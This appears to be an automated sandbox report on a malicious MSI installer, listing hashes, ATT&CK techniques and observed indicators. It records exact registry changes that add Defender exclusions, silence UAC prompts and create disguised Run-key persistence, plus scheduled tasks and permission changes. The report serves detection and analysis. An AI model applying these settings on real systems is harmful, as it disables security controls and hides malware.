d7ce3436a4054d0a131828963446199a323f8d6055d6e7cc9d46c5d20e5890a0

Analysis

max time kernel
138s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 02:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_ehe008.msi
Size 5.9MB
Sample260803-cf2mtszzdv
SHA256 d7ce3436a4054d0a131828963446199a323f8d6055d6e7cc9d46c5d20e5890a0
MD5 29f787d374eb55d42e135be5eba34beb
SHA1 f10983716a4d50a23d0aeecc74ff830f829fc968
SHA512 9c4dd39adbffc9860279394a3bf2170d3dcaa1fef1dc9d7131764e4916b25ee192d875ae9a23a358021967aabd2757b129bbd2071252617f2c919de59af7460c
SSDEEP 98304:bb0FNRDreX52pFNMs3JViayv+JNokBHzzuuyuYBvtKCrUGG7tgdvnRdGDI:bbWNxG2T2s3uvDkhGuyuYBvFrG7I/yE
TLSH
T1305633D17D852375C09FC3B14656319E722A3FC47E9B9C0B39E4B7142A33B2998B6389
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	XCmaVi.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\mgk0Vu = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3824	powershell.exe
1600	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1900	icacls.exe
3552	icacls.exe
3940	icacls.exe
268	icacls.exe
732	icacls.exe
912	icacls.exe
4228	icacls.exe
5212	icacls.exe
2796	icacls.exe
1468	icacls.exe
3456	icacls.exe
3564	icacls.exe
728	icacls.exe
1636	icacls.exe
5916	icacls.exe
5368	icacls.exe
2428	icacls.exe
4408	takeown.exe
4976	icacls.exe
4772	icacls.exe
1472	icacls.exe
5732	takeown.exe
2480	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2380	XtU4y7.exe
5016	XCmaVi.exe
4484	XCmaVi.exe

Loads dropped DLL 4 IoCs

pid	Process
3880	MsiExec.exe
2380	XtU4y7.exe
5016	XCmaVi.exe
4484	XCmaVi.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
728	icacls.exe
1900	icacls.exe
4408	takeown.exe
5916	icacls.exe
4976	icacls.exe
3940	icacls.exe
5212	icacls.exe
5732	takeown.exe
268	icacls.exe
1636	icacls.exe
3552	icacls.exe
732	icacls.exe
1472	icacls.exe
2480	icacls.exe
1468	icacls.exe
5368	icacls.exe
912	icacls.exe
4228	icacls.exe
2428	icacls.exe
4772	icacls.exe
2796	icacls.exe
3456	icacls.exe
3564	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mgk0Vu\\XtU4y7.exe\""	XtU4y7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Bcjbvl\\XCmaVi.exe\""	XCmaVi.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	3880	MsiExec.exe
10	3880	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2204	cmd.exe
1740	cmd.exe
2136	cmd.exe
1456	cmd.exe
5780	cmd.exe
3436	cmd.exe
2968	cmd.exe
4988	cmd.exe
996	cmd.exe
3584	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	XtU4y7.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll	XtU4y7.exe
File created	C:\Program Files (x86)\8zNn1\XPSPLOG.dll	XCmaVi.exe
File opened for modification	C:\Program Files (x86)\Bcjbvl	XtU4y7.exe
File created	C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll	XtU4y7.exe
File created	C:\Program Files (x86)\Bcjbvl\thumbs.db	XtU4y7.exe
File opened for modification	C:\Program Files (x86)\Bcjbvl\image.png	XtU4y7.exe
File created	C:\Program Files (x86)\8zNn1\image.png	XCmaVi.exe
File created	C:\Program Files (x86)\8zNn1\thumbs.db	XCmaVi.exe
File opened for modification	C:\Program Files (x86)\8zNn1\XPSPLOG.dll	XCmaVi.exe
File created	C:\Program Files (x86)\Bcjbvl\image.png	XtU4y7.exe
File opened for modification	C:\Program Files (x86)\8zNn1	XCmaVi.exe
File opened for modification	C:\Program Files (x86)\8zNn1\EagDMWKS.exe	XCmaVi.exe
File opened for modification	C:\Program Files (x86)\8zNn1\thumbs.db	XCmaVi.exe
File opened for modification	C:\Program Files (x86)\Bcjbvl\thumbs.db	XtU4y7.exe
File opened for modification	C:\Program Files (x86)\8zNn1\image.png	XCmaVi.exe
File created	C:\Program Files (x86)\8zNn1\EagDMWKS.exe	XCmaVi.exe
File created	C:\Program Files (x86)\Bcjbvl\XCmaVi.exe	XtU4y7.exe
File opened for modification	C:\Program Files (x86)\Bcjbvl\XCmaVi.exe	XtU4y7.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e5986e9.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAD91030C929E01FF.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8CA6.tmp	msiexec.exe
File created	C:\Windows\Installer\e5986eb.msi	msiexec.exe
File created	C:\Windows\Installer\e5986e9.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF04ABC7C8EC8E9F09.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8D05.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF75BAE5079AAD42CF.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD1A58250DA3845C9.TMP	msiexec.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4468	sc.exe
3508	sc.exe
4900	sc.exe
4392	sc.exe
5060	sc.exe
1656	sc.exe
3188	sc.exe
1720	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3352	msiexec.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4304	cmd.exe
2636	cmd.exe
5636	cmd.exe
5032	cmd.exe
4312	cmd.exe
1244	cmd.exe
2128	cmd.exe
6120	cmd.exe
2088	cmd.exe
3948	cmd.exe
4232	cmd.exe
5840	cmd.exe
1524	cmd.exe
1420	cmd.exe
1344	cmd.exe
5496	cmd.exe
1860	cmd.exe
2124	cmd.exe
5984	cmd.exe
5588	cmd.exe
5424	cmd.exe
2012	cmd.exe
5952	cmd.exe
6024	cmd.exe
3028	cmd.exe
4320	cmd.exe
1544	cmd.exe
5880	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XCmaVi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XCmaVi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ffbf1fc65d8bbf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ffbf1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ffbf1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ffbf1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ffbf1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "1E3076C7AF3F92F4E8FA282386C93407"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_ehe008.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2956	schtasks.exe
3232	schtasks.exe
736	schtasks.exe
2384	schtasks.exe
2408	schtasks.exe
1140	schtasks.exe
4004	schtasks.exe
5188	schtasks.exe
3368	schtasks.exe
5628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2924	msiexec.exe
2924	msiexec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
3880	MsiExec.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe
2380	XtU4y7.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3352	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3352	msiexec.exe
Token: SeSecurityPrivilege	2924	msiexec.exe
Token: SeCreateTokenPrivilege	3352	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3352	msiexec.exe
Token: SeLockMemoryPrivilege	3352	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3352	msiexec.exe
Token: SeMachineAccountPrivilege	3352	msiexec.exe
Token: SeTcbPrivilege	3352	msiexec.exe
Token: SeSecurityPrivilege	3352	msiexec.exe
Token: SeTakeOwnershipPrivilege	3352	msiexec.exe
Token: SeLoadDriverPrivilege	3352	msiexec.exe
Token: SeSystemProfilePrivilege	3352	msiexec.exe
Token: SeSystemtimePrivilege	3352	msiexec.exe
Token: SeProfSingleProcessPrivilege	3352	msiexec.exe
Token: SeIncBasePriorityPrivilege	3352	msiexec.exe
Token: SeCreatePagefilePrivilege	3352	msiexec.exe
Token: SeCreatePermanentPrivilege	3352	msiexec.exe
Token: SeBackupPrivilege	3352	msiexec.exe
Token: SeRestorePrivilege	3352	msiexec.exe
Token: SeShutdownPrivilege	3352	msiexec.exe
Token: SeDebugPrivilege	3352	msiexec.exe
Token: SeAuditPrivilege	3352	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3352	msiexec.exe
Token: SeChangeNotifyPrivilege	3352	msiexec.exe
Token: SeRemoteShutdownPrivilege	3352	msiexec.exe
Token: SeUndockPrivilege	3352	msiexec.exe
Token: SeSyncAgentPrivilege	3352	msiexec.exe
Token: SeEnableDelegationPrivilege	3352	msiexec.exe
Token: SeManageVolumePrivilege	3352	msiexec.exe
Token: SeImpersonatePrivilege	3352	msiexec.exe
Token: SeCreateGlobalPrivilege	3352	msiexec.exe
Token: SeBackupPrivilege	4360	vssvc.exe
Token: SeRestorePrivilege	4360	vssvc.exe
Token: SeAuditPrivilege	4360	vssvc.exe
Token: SeBackupPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeBackupPrivilege	1968	srtasks.exe
Token: SeRestorePrivilege	1968	srtasks.exe
Token: SeSecurityPrivilege	1968	srtasks.exe
Token: SeTakeOwnershipPrivilege	1968	srtasks.exe
Token: SeBackupPrivilege	1968	srtasks.exe
Token: SeRestorePrivilege	1968	srtasks.exe
Token: SeSecurityPrivilege	1968	srtasks.exe
Token: SeTakeOwnershipPrivilege	1968	srtasks.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe
Token: SeTakeOwnershipPrivilege	2924	msiexec.exe
Token: SeRestorePrivilege	2924	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3352	msiexec.exe
3352	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3352	msiexec.exe
2924	msiexec.exe
3880	MsiExec.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 1968	2924	msiexec.exe	94
PID 2924 wrote to memory of 3880	2924	msiexec.exe	96
PID 2380 wrote to memory of 1600	2380	XtU4y7.exe	100
PID 2380 wrote to memory of 1456	2380	XtU4y7.exe	102
PID 1456 wrote to memory of 5628	1456	cmd.exe	104
PID 1456 wrote to memory of 5032	1456	cmd.exe	106
PID 1456 wrote to memory of 3060	1456	cmd.exe	109
PID 2380 wrote to memory of 5780	2380	XtU4y7.exe	111
PID 5780 wrote to memory of 2956	5780	cmd.exe	113
PID 5780 wrote to memory of 2300	5780	cmd.exe	114
PID 5780 wrote to memory of 4260	5780	cmd.exe	116
PID 2380 wrote to memory of 996	2380	XtU4y7.exe	118
PID 996 wrote to memory of 3232	996	cmd.exe	120
PID 996 wrote to memory of 2936	996	cmd.exe	121
PID 996 wrote to memory of 5876	996	cmd.exe	123
PID 4304 wrote to memory of 5404	4304	cmd.exe	125
PID 5496 wrote to memory of 5672	5496	cmd.exe	126
PID 6024 wrote to memory of 4196	6024	cmd.exe	127
PID 2380 wrote to memory of 3436	2380	XtU4y7.exe	128
PID 3436 wrote to memory of 736	3436	cmd.exe	130
PID 3436 wrote to memory of 3032	3436	cmd.exe	131
PID 3436 wrote to memory of 2468	3436	cmd.exe	133
PID 2380 wrote to memory of 2968	2380	XtU4y7.exe	136
PID 2968 wrote to memory of 1140	2968	cmd.exe	138
PID 2968 wrote to memory of 244	2968	cmd.exe	139
PID 2968 wrote to memory of 5524	2968	cmd.exe	141
PID 5636 wrote to memory of 1100	5636	cmd.exe	143
PID 2636 wrote to memory of 1808	2636	cmd.exe	144
PID 2380 wrote to memory of 5016	2380	XtU4y7.exe	145
PID 5016 wrote to memory of 5032	5016	XCmaVi.exe	147
PID 5016 wrote to memory of 1860	5016	XCmaVi.exe	150
PID 5016 wrote to memory of 2124	5016	XCmaVi.exe	256

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	XCmaVi.exe

Uses Task Scheduler COM API 1 TTPs
